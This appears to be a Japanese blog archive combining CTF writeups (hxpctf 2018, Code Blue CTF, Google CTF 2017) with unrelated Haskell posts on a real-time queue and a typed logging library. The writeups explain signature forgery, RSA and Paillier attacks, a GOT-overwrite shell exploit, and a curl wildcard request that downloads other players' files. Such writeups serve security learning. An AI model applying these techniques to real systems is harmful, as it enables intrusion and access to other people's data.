hxpctf 2018 Writeups uff, curve12833227, daring, Blind

hxpctf 2018にnegainoidoで参加していました。 結果は写真の通り。わたしはsh1tty_AI以外の９問を解きました。 Cryptoの問題がなかなかおもしろかったのでWriteupにまとめます。

f:id:autotaker:20181210134402p:plain
solved

uff

問題概要

NaClの署名システムにたいしてChosen Plain Text Attackをしてくださいという問題。

接続しに行くと８個の公開鍵が与えられます。 それらを用いて任意のテキストを送ると、その署名を手に入れることができます。 このやり取りを何回か繰り返したあとに、今まで送った文章とは違う文章の署名済みテキストを偽造することが目的です。

この問題はプログラムのソースコードはもらえますが、肝心の署名ライブラリのコードは与えられません。 しかし"tweetnacl.h"というヘッダファイルをインポートしているので、おそらくこれのことだと思われます。 github.com

解法

さて、問題のソースをよく見ると、署名を生成するときに、署名結果を格納するポインタと、署名するテキストを格納するポインタで同じものを渡していることがわかります。

size_t sign(unsigned char *m, unsigned long long n, unsigned char const *pk, unsigned char const *sk)
{
    struct keypair k;
    memcpy(k.sk, sk, sizeof(k.sk));
    memcpy(k.pk, pk, sizeof(k.pk));
    crypto_sign(m, &n, m, n, (char *) &k);
    return n;
}

しかし、そのような渡し方をライブラリ側は想定していません。

int crypto_sign(u8 *sm,u64 *smlen,const u8 *m,u64 n,const u8 *sk)
{
  u8 d[64],h[64],r[64];
  i64 i,j,x[64];
  gf p[4];

  crypto_hash(d, sk, 32);
  d[0] &= 248;
  d[31] &= 127;
  d[31] |= 64;

  *smlen = n+64;
  FOR(i,n) sm[64 + i] = m[i];
  FOR(i,32) sm[32 + i] = d[32 + i];

  crypto_hash(r, sm+32, n+32);
  reduce(r);
  scalarbase(p,r);
  pack(sm,p);

  FOR(i,32) sm[i+32] = sk[i+32];
  crypto_hash(h,sm,n + 64);
  reduce(h);

  FOR(i,64) x[i] = 0;
  FOR(i,32) x[i] = (u64) r[i];
  FOR(i,32) FOR(j,32) x[i+j] += h[i] * (u64) d[j];
  modL(sm + 32,x);

  return 0;
}

FOR(i,n) sm[64 + i] = m[i];の部分で、smとmが同じポインタのエイリアスだった場合は署名テキストが先頭64バイトの繰り返しになってしまいます。 そして、そのように書き換えたテキストに対して署名をしてしまいます。 例えば平文が'deadbeef' * 16 + '00'だった場合、署名されたテキストとして[sign(64 bytes)]'deadbeef’*16 +'de'が返って来ます。 一方で、配列nopeには、変更される前のテキストを格納します。 したがって、もらった署名をそのまま、偽造した署名として提出すればフラグが得られます。

flag: hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h} この解法だととくに複数個の公開鍵がもらえる理由が特になくて、署名クエリも１回だけなので想定解法ではないような気がします。

curve12833227

問題概要

楕円曲線上の離散対数問題を解く問題です。

#!/usr/bin/env python3
from random import randrange
from Crypto.Cipher import AES

p = 2**128 - 33227

i = lambda x: pow(x, p-2, p)

def add(A, B):
    (u, v), (w, x) = A, B
    assert u != w or v == x
    if u == w: m = (3*u*w + 4*u + 1) * i(v+x)
    else: m = (x-v) * i(w-u)
    y = m*m - u - w - 2
    z = m*(u-y) - v
    return y % p, z % p

def mul(t, A, B=0):
    if not t: return B
    return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)

x = randrange(p)
aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))
flag = open('flag.txt').read().strip()
cipher = aes.encrypt(flag.ljust((len(flag)+15)//16*16).encode())
print(*mul(x, (4, 10)), cipher.hex(), file=open('flag.enc', 'w'))

解法

ソースコードをよく読むと、楕円曲線が \( y2 = x3 + 2 x2 + x \) であることがわかります。 教科書でよく見る楕円曲線は \( y2 = x3 + a x + b \) の形なので違和感があります。

色々とググるとこのような曲線はSingular curveと呼ぶらしいです。stack exchangeに以下のような質問を見つけました。

crypto.stackexchange.com

Why not use singular curves? It turns out that the group structure on those curves is isomorphic to the multiplicative group of a (quadratic extension of) a field. Therefore the discrete logarithm problem is not harder than of that in a finite field, so there is little reason to use the curve in the first place.

つまり、この楕円曲線上の群構造は(Z/pZ)と同型になるようです。その同型射がわかれば、楕円曲線状の離散対数問題を(Z/pZ)上の 離散対数問題に帰着してSageで解くことができそうです。

更にググると、 Elliptic Curve Handbookを見つけました。 この中のProposition 1.8.1によると、 $$ (x, y) \to \frac{\mu_1(x-x_0) - (y-y_0)}{ \mu_2(x-x_0) - (y-y_0) } $$ が対応する写像のようです。pdfの中には各定数の計算方法も書いてあります。

これを参考にsageで以下のように計算を行いました

sage: p = 340282366920938463463374607431768178229
sage: K = GF(p)
sage: K
Finite Field of size 340282366920938463463374607431768178229
sage: K(-1024).square_root()
62339483394082122745023847371156527578
sage: c4 =16
sage: K(-1024).square_root() / K(2*c4)
150821644383975644101008385981747219462
sage: mu1 = K(-1024).square_root() / K(2*c4)
sage: mu2 = -mu1
sage: mu1
150821644383975644101008385981747219462
sage: x0 = -1
sage: y0 = 0
sage: x0 = K(-1)
sage: y0 = K(0)
sage: x0
340282366920938463463374607431768178228
sage: x = K(104708042197107879674895393611622483404)
sage: y = K(276453155315387771858614408885950682409)
sage: (mu1 * (x-x0) - (y-y0)) / (mu2 * (x-x0) - (y-y0))
21942627144369491015728137374841304324
sage: h = (mu1 * (x-x0) - (y-y0)) / (mu2 * (x-x0) - (y-y0))
sage: g = (mu1 * (K(4)-x0) - (K(10)-y0)) / (mu2 * (K(4) -x0) - (K(10)-y0))
sage: h.log(g)
35996229751200732572713356533972460509

あとは以下でフラグが得られます。

x= 35996229751200732572713356533972460509
# assert( mul(x,(4,10)) ==  h)
aes = AES.new(x.to_bytes(16, 'big'), AES.MODE_CBC, bytes(16))
c =  binascii.unhexlify('202bb05919b6f021d22a8baa7979ef6810761eb4c653b0fc5eebf2bc6ac6ecb052f887eedd075174abd884f84547df2d')
plain = aes.decrypt(c)
print(plain)

hxp{51n9uL4r1ti3s_r3duC3_tH3_G3nUs}

daring

RSA問です。 RSAの暗号結果とAESの暗号結果がもらえます。 public exponentが３なので三乗根を取る問題だと考えます。 aesの暗号文から平文の長さが４３バイトだとわかります。 平文をmsg.ljust(128, b’\x00’)でpaddingしているのでmodinv(pow(2, 3 * 8 (128-43),p ),p) をかければだいたい良さそうですが、 43 3 = 129なので１バイト文だけ溢れてしまってうまく復号できません。ただし１バイトだけなので 適当なｐの倍数を足してから三乗根を取るとうまく行きました。 hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}

Blind

問題概要

GF(p)と同型な体が与えられます。(p = 0xfffffed83c17)しかし、同型写像は暗号化されているため、どの元がどの元に対応しているのかはわかりません。 同型射をfとして、f(1)とf(y)が与えられます。 体上の演算子として加算(+)と加法逆元(-)と乗算(*)が0x400回行えるので、ｙを求めてください。

解法

p-1を素因数分解すると最大の素因数が151であることがわかります。 このとき、gをZ/pZ*の生成元として、 \( gx = y \) となるxを求める離散対数問題を暗号化された体上で考えます。 すなわち、f(g)とf(y)が与えられたときに \( f(g) ^ x = f(y) \) となるxを求める問題です。 このようなxがえられれば、 \( y = gx \) となり、yを求めることができます。

p-1が小さい素因数しか持たないときに使える離散対数アルゴリズムとして、 Pohlig-Hellmanのアルゴリズムというのがあるので、 wikipediaに書かれたアルゴリズム何も考えずに実装します。 Pohlig–Hellman algorithm - Wikipedia

書いたexploitが以下です 生成元g = 11としていますが、実はこれは誤りで、本当はg = 5とすべきです。 g = 11にしたせいで確率1/2くらいで失敗します。

gist8145390698e5759a8ae3c89b8882336a

これを書いて実行したらローカルでは解が得られたのですが、リモートでやると、 ネットワークが遅くて、0x200回くらいクエリを投げた時点で接続がタイムアウトしてしまいました。 仕方ないので、google cloud platformを使ってフランクフルトにVMインスタンスを立ててそこから問題サーバに接続させたらフラグを得ることができました。 世界中の様々な場所にVMインスタンスを安価かつ即座に建てれるとは便利な時代になったものです。 hxp{DLP_4nd_DHP_4re_H4mm1n9_d1sT4nc3_0Ne}

永続リアルタイムキューのHaskell実装と計算量解析

この記事はHaskellアドベントカレンダーその２の22日目の記事です。 Haskell (その2) Advent Calendar 2017 - Qiita

@rst76さんが昨日書いた記事でHaskellのリアルタイムキューがなかったので書きました。 qiita.com

12/23追記 この記事の内容に重大な誤りが指摘されました 参考 末尾にて修正しています。申し訳有りません。

WHNFとは

WHNFはWeak Head Normal Formの略で、項がCnstr e_1 ... e_nの形まで評価された状態を指します。 e_1 ... e_nの部分はWHNFでなくても良いところがポイントです。 例えばリストの場合、 []や1 : []、undefined : reverse [1,2,3]などはWHNFですが reverse [1,2,3]はWHNFではありません。

遅延評価に於ける計算量解析

まず、項eの計算量をeをWHNFまで簡約するのに必要なステップ数（書き換え規則の適用回数）と定義します。 例えば[1,2,3] ++ [4,5,6]の計算量は1です。(++)の定義は

(++) []     ys = ys
(++) (x:xs) ys = x : xs ++ ys

なので

[1,2,3] ++ [4,5,6] = 1 : [2,3] ++ [4,5,6]

と1ステップでWHNFになります。

つぎにreverse [1,2,3, ... , n]の計算量を見ていきましょう。reverseの定義は

reverse l = rev l []
  where
    rev []     a = a
    rev (x:xs) a = rev xs (x : a)

です。

reverse [1,2,3, ... , n] 
= rev [1,2,3, ... , n]  []
= rev [2,3, ..., n] [1]
= rev [3,..., n] [2,1]
... 
= rev [] [n, ..., 3, 2, 1]
= [n, ..., 3, 2, 1]

となるので計算量はn+2となります。

次にO(1)リストという概念を定義します。*1 O(1)リストは[a]型の項の集合で次の条件を満たすものとします。

  1. eの計算量がO(1)かつeが[]に評価されるならば、eはO(1)リスト
  2. eの計算量がO(1)かつx : xsのWHNFになった場合、xsがO(1)リストならばeもO(1)リスト
  3. O(1)リストの集合は条件1,2を満たすものなかで最小の集合。

つまり、リストのtail部分に含まれるthunk1つをWHNFに簡約するのに必要な計算量がO(1)のとき、 O(1)リストと言います。

例えば xsとysがO(1)リストならばxs ++ ysはO(1)リストです。 [1,.., n ] ++ reverse [1,..,n]はreverse [1,..,n]の計算量がO(n)なのでO(1)リストではありません。

リアルタイムキューの計算量解析

リアルタイムキューを次のように実装しました。

gist1a49ce4cfa8b4730f7b055eb9423e879

このQueueライブラリのsnoc, head, tailがO(1)であることを示します。

rotateについて

まず、xs、ysがO(1)リストであるときrotate xs ysもO(1)リストであることを帰納法で示します。

rotate xs ys 
= go [] xs ys

まず1ステップでこのように簡約されます。 goの定義は

go !a [] (y : _) = y : a
go !a (x:xs) (y:ys) = x : go (y : a) xs ys

です。 a, xs, ysがO(1)リストであるとき、go a xs ysもO(1)リストであることをxsの構造に関する帰納法で示します。

  1. xsが[]にO(1)で簡約されるとき。このとき、ysもO(1)でWHNFy : ys'に簡約され、その後go a [] (y:ys') = y : aと簡約されます。 aはO(1)リストなのでgo a xs ysはO(1)リストです。
  2. xsがx : xs'にO(1)で簡約されるとき。同様にysもO(1)でWHNFy : ys'に簡約され、 go a (x : xs') (y : ys') = x : go (y : a) xs' ys'に評価されます。(y : a), xs', ys'はO(1)リストなので、帰納法の仮定からgo (y : a) xs' ys'もO(1)リストです。したがってgo a xs ysもO(1)リストとなります。

つぎに、Queue a型の項についてもO(1)リストと同様の概念を定義します。すなわち、 qがO(1)キューであるとは、qをWHNFにO(1)で簡約できて、かつ、frontList qとtailList qもO(1)リストであるときとします。

execについて

次にqがO(1)キューのとき、exec qもO(1)Queueであることを確認します。 これはexecは再帰関数でないので定義よりほぼ明らかです。

snoc, head, tailについて

snoc :: Queue a -> a -> Queue a
snoc q x = exec $! (q{ tailList = x : tailList q
                     , tailSize = 1 + tailSize q})

このとき、qがO(1)キューのとき、q { tailList = x : tailList q, tailSize = 1 + tailSize q }はO(1)でWHNFになり、exec $! (q { ... })もO(1)キューとなります。

tailについても同様です。qがO(1)キューのときtail qもO(1)キューです。

結論

以上の議論から、qがO(1)キューのとき、snoc q, head q, tail qの計算量はO(1)で、返ってくるキューもO(1)キューとなります。

注意

各操作がO(1)だからといって、このQueueを使う側が正格にキューを評価しないとリアルタイムキューにはなりません。 例えば、次のような例だと

main = do
  let go :: Queue Int -> IO (Queue Int) 
      go q = fmap read getLine >>= \v -> if v != 0 then go (snoc q v) else return q
  q <- go empty
  print (head q) -- O(n)

最後のhead qの計算量は入力の長さに対してO(n)となります。 正しくは、次のように、qを正格に評価しましょう。

main = do
  let go :: Queue Int -> IO (Queue Int) 
      go !q = fmap read getLine >>= \v -> if v != 0 then go (snoc q v) else return q
  q <- go empty
  print (head q) -- O(1)

間違いと修正

上で提示したQueueはリアルタイムキューになっていませんでした。 間違いは

まず、xs、ysがO(1)リストであるときrotate xs ysもO(1)リストであることを帰納法で示します。

の部分で、正しくは、xs, ysがO(1)リストでは不十分で、すべてのtail部分がWHNFに評価されたリスト すなわちxs = [v_1, v_2, ..., v_n], ys = [w_1, w_2, ..., w_{n+1}]の形になっていなければならないです。 そうするためには、こちらのF#実装にあるように、 サンクを表すポインタをつけて、snoc時にもthunkを潰す処理が必要でした。 修正バージョンを載せておきます。

gistac6a16ffb32f86d4edabb079495d1e9d

*1:この概念はこのブログ記事のみで考えたもので一般的な用語ではないです

Code Blue CTF Writeup

Common Modulus 1-3

いずれもRSAを解読する問題。
\(C_1 = M^{e_1} \mod N\)
\(C_2 = M^{e_2} \mod N\)
が与えられる。Common Modulus 1では\(e_1, e_2\)は互いに素なので、拡張ユークリッドの互除法により
\[ x e_1 + y e_2 = 1 \]
となる\(x, y\)が求められる。すると
\[ C_1^x C_2^y = M^{x e_1 + y e_2} = M^1 = M \]
となるので復号できる。

Common Modulus 2では\(\mathrm{gcd}(e_1, e_2) = 3\)となってしまうのでこの方式でも
\[ M^3 \mod N \]
までしかわからない。
しかしながら、平文のビット数が少ないので、自然数としての３乗根を取ればよい。

Common Modulus 3では\(\mathrm{gcd}(e_1, e_2) = 17\)かつ、\(M = M_0 2^l \)とパディングされている。
\[ M^{17} = M_0^{17} 2^{17l} \mod N \]
であるので
\[ M_0^{17} = M^{17} (2^{17l})^{-1} \]
よって、\(l\)をguessして、\(M_0^17\)を計算し、その17乗根を計算すれば良い。

Random RSA

\(C_1 = (M + B_1)^e \mod N\)
\(C_2 = (M + B_2)^e \mod N\)
…
\(C_e = (M + B_e)^e \mod N\)
が与えられる。\(C_1 \dots C_e, e, N\)は既知、\(B_1 \dots B_e\)は擬似乱数生成器から作られる。また、乱数生成器の生成した乱数列の一部（\(B_1 … B_e\)は含まない）がもらえる。

擬似乱数生成器は状態が128bitで、状態\(s_n\)を長さ128のベクトルとすると次の形でかける
\[s_{n+1} = A s_n \]
ここで\(A\)は128 x 128の行列
乱数は
\[r_{n} = s_n[0,63] + s_n[64,127] \mod s^{64}\]
として得られる。
\(r_1 … r_{32}\)は既知なのでここから擬似乱数生成器の内部状態を復元したい。
線形な乱数生成器なのでSMTソルバを使って解読できる。
（しかしながら、ここで算術シフトと論理シフトを間違えて結構な時間バグらせていた。）

SMTソルバを用いて解くと、乱数生成器の初期状態が
s = [16792192752041738357, 15780247886525933760]
であることがわかった。したがって、\(B_1 \dots B_e\)も計算できた。

今\(B_1 \dots B_e\)が既知であるので
\(C_1 = (M + B_1)^e \mod N\)
\(C_2 = (M + B_2)^e \mod N\)
…
\(C_e = (M + B_e)^e \mod N\)
は、X^e … X^1を変数とする線形連立方程式なので解ける。
と思って作業していたが、よく考えると\(e \sim 5000\)なので計算量的に厳しい。

しばらく悩んでいたが、暗号文が\(e\)個あることにミスリードされていたが、
暗号文が二つあればRelated Message Attackで解けることに気づいた。
\(f_1(X) = (X + B_1)^e - C_1 mod N\)
\(f_2(X) = (X + B_2)^e - C_2 mod N\)
はXを変数とする多項式で、\(f_1(X) = 0, f_2(X) = 0\)は共通解\(X = M\)を持つ。
したがって、\(\mathrm{gcd}(f_1,f_2)\)を計算してやると\(f_1(X) = 0, f_2(X) = 0\)の共通解を根としてもつ多項式が得られる。
この多項式は十分高い確率で一次多項式なので、\(M\)を復元することができる。

CBCTF{1t_0nly_5eems_r4nd0m...4ll_4r3_rel4ted!_27229a2a67a6ad3f388ea1e8076533de58ea41b8}

Paillier Oracle

問題文からわかるようにPaillier暗号の問題。
サーバにつなぐとPaillier暗号の公開鍵、flagの暗号文が与えられる。
その後、以下のクエリを任意回送ることができる。

クエリ：任意の暗号文を送るとその復号結果のLSBを返してくる。

Paillier暗号は有名な性質として加法準同型性を満たすのでそれを用いて解くのだろうと推測できる。
加法準同型性というのは平文\(M_1\)の暗号文\(C_1\)と平文\(M_2\)の暗号文\(C_2\)があった時に\(C_1, C_2\)のみから、
\(C_3\)が計算できて、\(C_3\)を復号すると\(M_1 + M_2 \mod N \)が得られるという性質のことだ。

今回の問題では平文のLSBのみが教えてもらえるので平文の上位bitは簡単にはわからないように見える。
しかし、桁の繰り上がりを利用することで上位bitの情報を得ることが可能である。

今\(0 \leq M < N\)を目的の平文、\(0 \leq k < N\)を偶数とする。
すると\(0 \leq M + k \leq 2N\)である。
\(M + k >= N\)である時、
\[\mathrm{LSB}(M+k \mod N) = \mathrm{LSB}(M+k - N) = \mathrm{LSB}(M) \oplus \mathrm{LSB}(N) = !\mathrm{LSB}(M)\]
そうでない時
\[\mathrm{LSB}(M+k \mod N) = \mathrm{LSB}(M+k) = \mathrm{LSB}(M) \]
である。

この性質を利用すると\(M + k = N\)となる\(k\)を上位bitから決定していくことができる。
具体的には\(i\)bit目を決定する際には、\(\mathrm{LSB}(M + k + 2^i)\)をoracleを用いて調べて、
それが\(\mathrm{LSB}(M)\)と一致していれば、\(k := k + 2^i\)と更新する。
これを繰り返していくことで\(k\)を決定し、\(M = N - k\)として求めることができる。
ただ、そのままやると時間がかかりすぎるので、\(M < 2^{400}\)を仮定して上位ビットについては天下り式に与えた。

Incident Response

pcapファイルを解析する問題
156番目のパケットでサーバがHTTP Status500を返している。よくよく見るとシェルコードらしきものが送られている。
そのパケットのTCP通信データをdumpして、r2を用いて解析した。
解析するとbackdoorを開けるマルウェアのようだ。

その後、pcapファイルに戻りbackdoorにアクセスしている通信を調べた。すると
tcp.stream eq 15
にサーバ(172.17.0.2:50306)と攻撃者(172.17.0.10:31337)の間に怪しげなTCP通信がある。
しかしながら入出力が暗号化されていてそのままでは読めない。

再びr2に戻って解析を続けた。すると次のことがわかった。

  • マルウェアは/dev/urandomを32バイト読んで攻撃者に送信する。
  • その後はその32バイトを初期状態としたストリーム暗号を用いて攻撃者との入出力を暗号化している。

暗号の仕組みを真面目に解析するのは大変だったので動的解析を行うことにした。

暗号の初期化を行う関数がoffset 0x633, 暗号化を行う関数がoffset 0x6a3にあることを突き止めたので、
mmapでマルウェアのコードをメモリ上に配置し、実際に動かすことで解析した。

tcp.stream eq 14（攻撃者側のデータのみ）をincidentという名前のファイルにdump、
tcp.stream eq 15（時系列順に両方のデータ）をmalciousという名前のファイルにdumpした。

その後以下のCプログラムをコンパイルして実行すると通信を解読し、フラグを得ることができた。

giste7f6816f76770095b6d0d978662be16f

Smoke on the water

1000bitRSAを破る問題。\(d = \phi(N) - d'\)として作っており、\(d'\)が200bitくらいしかないのでWiener's Attackで解いた。

Code Blue Snippet

この問題はおそらく正攻法ではない方法で解いた。
自分のディレクトリにis_adminファイルを設置すればフラグがもらえる。

exportにアクセスすると自分の書いたファイルをzipにまとめてダウンロードできる。
ソースを読むとzipを作るときにZipArchive::addGlobを使っているのでワイルドカードが指定できる。
そこで

curl 'http://cbs.tasks.ctf.codeblue.jp/export.php?dir=e*'

などとすると、他のユーザのアップロードしたファイルもまとめてダウンロードできる

すでに問題を解いたプレイヤーがいるので、どこかにis_adminの設置されたディレクトリがあるはず。

探すとdir=3ba458756d9dd5cc652cdb75f6b367f5にそのようなファイルが存在した。
そのなかからis_adminをつけたファイルを探し出してzipに固めて落としてくる。

$ curl -v  'http://cbs.tasks.ctf.codeblue.jp/export.php?dir=3ba458756d9dd5cc652cdb75f6b367f5' > hoge.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 35.200.12.164...
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to cbs.tasks.ctf.codeblue.jp (35.200.12.164) port 80 (#0)
> GET /export.php?dir=3ba458756d9dd5cc652cdb75f6b367f5 HTTP/1.1
> Host: cbs.tasks.ctf.codeblue.jp
> User-Agent: curl/7.43.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 10 Nov 2017 04:33:44 GMT
< Server: Apache/2.4.10 (Debian)
< X-Powered-By: PHP/7.0.25
< Set-Cookie: PHPSESSID=933dcd6482c906fd9cdeb6826dd73915; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Disposition: attachment; filename='98b60b88e85675b293a7994e464596a5a7ff8c6870d027cabcef44f6d49fde08.zip'
< Vary: Accept-Encoding
< Content-Length: 305
< Content-Type: text/html; charset=UTF-8
< 
{ [305 bytes data]
100   305  100   305    0     0   1079      0 --:--:-- --:--:-- --:--:--  1077
* Connection #0 to host cbs.tasks.ctf.codeblue.jp left intact
 ||<

file名を98b60b88e85675b293a7994e464596a5a7ff8c6870d027cabcef44f6d49fde08.zipにつけ直す。

json-tracerなるライブラリを作った

はじめに

ある程度大きなプログラムを作ると、いろいろなログを書きだしたくものである。 しかしログというのは文字列ベースなものであり、かつプログラムの構造とは関係なく、一列に並んでしまうものである。 そのため、プログラムの中でどのような計算が行われているかを表すために、一列に並ぶのではなく、木構造を持ったログを出力したくなった。

こういう時に行儀のよいHaskellerならログのデータ構造を定義し始めるのだが、何をログに残すかは開発の途中で頻繁に変わるものであるし、実行のパラメータによって計算の過程は変わったりするものでもあるので、簡単にログの構造を書き換えられるようなものでなければならない。もちろん型安全性を犠牲にすることはゆるされない。

今回作ったjson-tracerというライブラリはそのような木構造ログを可能にするものである。 このライブラリではログは型つきのjsonデータとして計算される。

json-tracer: A polymorphic, type-safe, json-structured tracing library

このライブラリでは２つのモジュールを提供している

  • Data.PolyDict: 型安全かつ多相な辞書オブジェクト
  • Control.Monad.Trace: 文脈に応じたログを可能とするモナド

PolyDict

このライブラリではログはJSONと互換性のあるDict nという型に保存する。 ライブラリのユーザはまずフィールドの名前空間を表す型を定義する。

data Main

そして、Dict nの各フィールドがどのような型を持つかをAssoc n kのルールを追加することで記述する。

type instance Assoc Main "elapsed_time" = NominalDiffTime
type instance Assoc Main "tag" = String

こうすると、Dict Mainにおいて、フィールド"elapsed_time"に束縛できる値の型はNominalDiffTimeであり、フィールド"tag"に束縛できる値はString型となる。

type familyの定義はopenなので、一つのモジュールに全てのフィールド定義を書く必要はない。また嬉しいことに、同じフィールドを複数箇所で定義してしまった場合はコンパイラがエラーとして報告してくれる。

Assok n kのルールの右辺に書く型はDictValueの制約を満たさなければならない。

type family DictValue v :: Constraint where
    DictValue v = (Eq v, Show v, ToJSON v)

ToJSON vを満たす型ならば大抵DictValue vの制約も満たせるのでJSONに書ける型なら右辺に書くことができる。

Dict nのフィールドにはlookup, insertを用いてアクセスすることができる。

lookup :: (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> Dict n -> Maybe v
insert :: (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> v -> Dict n -> Dict n

Key kはフィールドを表す型レベルシンボルのProxyとなっている。OverloadedLabels拡張を用いて#fooで"foo"のフィールドにアクセスできる。

例

ghci> let v = insert #tag "sample" empty 
ghci> v
{"tag": "sample"}
ghci> lookup #tag v
Just "sample"
ghci> lookup #elapsed_time v
Nothing

lookup #tagの型はMaybe Stringだがlookup #elapsed_timeの型はMaybe NominalDiffTimeとなるわけだ。型レベルシンボルはまるで魔法のようである。

あるいはLensを用いたアクセスも可能である。

access  :: forall n k v. (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> Lens' (Dict n) (Maybe v)
access' :: forall n k v. (KnownSymbol k, DictValue v, Assoc n k ~ v) => Key k -> v -> Lens' (Dict n) v

例

ghci> let v = empty & access #tag ?~ "sample"
ghci> v
{"tag": "sample"}
ghci> v ^. access #tag
Just "sample"

Tracer Monad

TracerT c m aというモナドトランスフォーマが木構造のログを可能にする。 このモナドではupdateとzoomという二つのアクションが実行できる。

updateは文脈の値を更新するアクションだ。

update :: Monad m => (c -> c) -> TracerT c m ()

例えば、ある関数fの呼び出し回数を記録したい場合 update succ :: TracerT Int m ()をfの呼び出し時に実行すれば良い。

zoomはログの文脈を変えるアクションだ

zoom :: ASetter' c c' -> TracerT c' m a -> TracerT c m a

これはc'のログを操作するプログラムを受け取り、cのログを操作するプログラムに変換する。 これだけだとよくわからないと思うので次の例を見て欲しい。

{-# LANGUAGE TypeFamilies, DataKinds, OverloadedLabels #-}
import Data.PolyDict
import Control.Monad.CTrace
import Lens.Micro
import Control.Monad

data Main
data Sub

type instance Assoc Main "sub" = Dict Sub
type instance Assoc Sub  "count" = Int

subFunc :: Monad m => Int -> TracerT (Dict Sub) m ()
subFunc n = replicateM_ n (update (access' #count 0 %~ succ))

mainFunc :: Monad m => TracerT (Dict Main) m ()
mainFunc = zoom (access' #sub empty) (subFunc 42)

main :: IO ()
main = do
    (_,d) <- ioTracerT empty mainFunc
    print d

このプログラムではsubFuncがDict Subにログを保存する計算を行い、mainFuncがDict Mainにログを保存する計算を行う。mainFuncからはsubFuncを呼び出すわけであるが、そのままでは保存するログが異なるのでうまく呼び出せない。

そのために登場するのがzoomである。zoom関数はsubFuncのログをDict Mainのどこに保存すればいいかを指定している。この例では、"sub"フィールドに保存するように指定している。このようにして文脈の違いに対応することで木構造のログを生成することが可能になる。

このプログラムを実行すると

{"sub": {"count": 42}}

と表示される。mainFuncからsubFuncが呼び出されたことをログの中に表現できている。

Google CTF 2017 Writeup

今回は一人で参加してました。
解いた問題

CRC

crc_82_darc(data) == int(data,2)

を満たすdataを作る問題。
crc_82_darcは入力データをビット列であらわしたものを\(b_{n-1} \dots b_{0}\)として（リトルエンディアン）
\( f(X) = \sum^{n-1}_{i=0} b_i X^i \)
を82次のある多項式P(X)で割った多項式の係数をハッシュ値とするハッシュ関数である。
今、入力のデータは'0'(=0x30)か'1'=(0x31)からなる文字列であるので、実際には\(c_i\)を入力の\(i\)文字目が'0'のとき0、'1'のとき1となるようにすると、
\( f(X) = \sum^{81}_{i=0} (c_i X^7 + X^3 + X^2) X^{8(81 - i)} \)
となる。
満たすべき値は
\( f(X) \mod P(X) = \sum_{i=0}^{81} c_{81-i} X^i \)
であり、各係数を比べるとc_iを変数とするGF(2)上の連立線形一次方程式となる。
なので解ける。

gpでの計算例
gist5b6f91c0783cbaf119d86b510fa01c22
フラグを保存するの忘れた。

Inst_prof

バイナリはNX, PIEだがPartial RELROなのでGOT overrideを目指す。
このプログラムは以下の処理を繰り返し行う。

  1. pageをmmapする(Read| Write)
  2. pageにテンプレートを書き込む
  3. 入力から4byte読んでpage + 0x5に書き込む
  4. pageをmprotectする(Read|Exec)
  5. r12にrdtscの結果を置く
  6. pageの先頭に関数呼び出しする。
  7. rdxにrdtscの結果を置く
  8. rdx - r12の値を出力する。
  9. pageをmunmapする。

任意の4byteを送るとその4byteをmmapしたページに配置して0x1000回実行してくれる。そのあとその実行にかかった時間を出力してる。
r12を0してみると現在のCPU時間の値がわかる。そのあとr12を適当な値にするとrdxの上位ビットはそれほど変わらないので、r12の上位ビットをleakできる。
レジスタの値をleakできたので次はlibcを特定するために__libc_start_main@got.pltとmunmap@got.pltを読みに行く。
今、rspの指すアドレスには関数呼び出しの戻り番地、すなわち.textセクションのアドレスが入っているので、そこからの相対値でmunmap@got.plt等にたどり着くようにする。
ただ、同じ命令を0x1000回繰り返すので例えばadd r12, 0x3などの命令は上手くいかない。
なのでrsp - 0x1000あたりのメモリを一時的なデータの退避場所として計算を進めた。

libcを特定したあとはGOT overrideでmunmapをsystemに書き換える。
そのままだとGOT overrideの直後にsystem(page)となって結局pageの先頭が不正な文字列となり何も起こらないが、プログラムはセグフォを起こさず次のループに進めるので次のような手順でshellを起動した。

  • r13 に*rsp + 0x1000を書き込む
  • r13 + 0x8に"sh\0"を書き込む
  • GOT overrideでmunmapをsystemに書き換える
  • mov rbx, r13 + 0x8

exploit
gist9ec3329544e2d45f02eb632b462ea44f

crypto_backdoor

本番中に解法はわかっていたが、寝落ちして解けなかった問題。
起きて作業したら十分くらいで終わって悔しかった。

DH法で秘密鍵を共有するプログラムがあたえられる。共有した秘密鍵を計算できればフラグが得られる。
ただし使用する群はよくわからない群でパッと見楕円曲線っぽくもあるが実は違った。
群の要素は\((Z_n/p)^2\)で\(p\)はそこそこ大きいが実は素因数分解できて素因数は\(10^9\)くらい。
群の演算は\((x_1, x_2)\)と\((y_1, y_2)\)に対して
\(x_3 = \frac{ x_1 x_2 - x_1 y_2 - x_2 y_1 + 2 y_1 y_2 }{ x_1 + x_2 - y_1 - y_2 - 1} \)
\(y_3 = \frac{ y_1 y_2 }{ x_1 + x_2 - y_1 - y_2 - 1 }\)
この式を変形すると
\( \frac{x_3}{y_3} - 1 = (\frac{x_1}{y_1} - 1) (\frac{x_2}{y_2} - 1) \)
となる。つまりこの群に対して離散対数問題、すなわち\(G = (x_g, y_g), X = (x,y)\)を入力として\(G^r = X\)となるrを求めるには
\((\frac{x_g}{y_g} - 1)^r = \frac{x}{y} - 1\)が成り立つので\(Z_n/p\)上の離散対数を計算してやればいいことになる。


gist836785ae9283d2abfa02fbe51a832c0e

$ gp -q doit.gp < /dev/null
6621005115841589341021728146593578127178145692816888878
3717310807101673722781843653766732925831732205102857032

gist34dd40234e8ae6fe263964a2f6c4f710

$ python crypto_backdoor.py 
length = 31, encrypted_message = 221625116140542176473033670030978737257674515917829815328018959235996341315
CTF{Anyone-can-make-bad-crypto}

PlaidCTF writeup

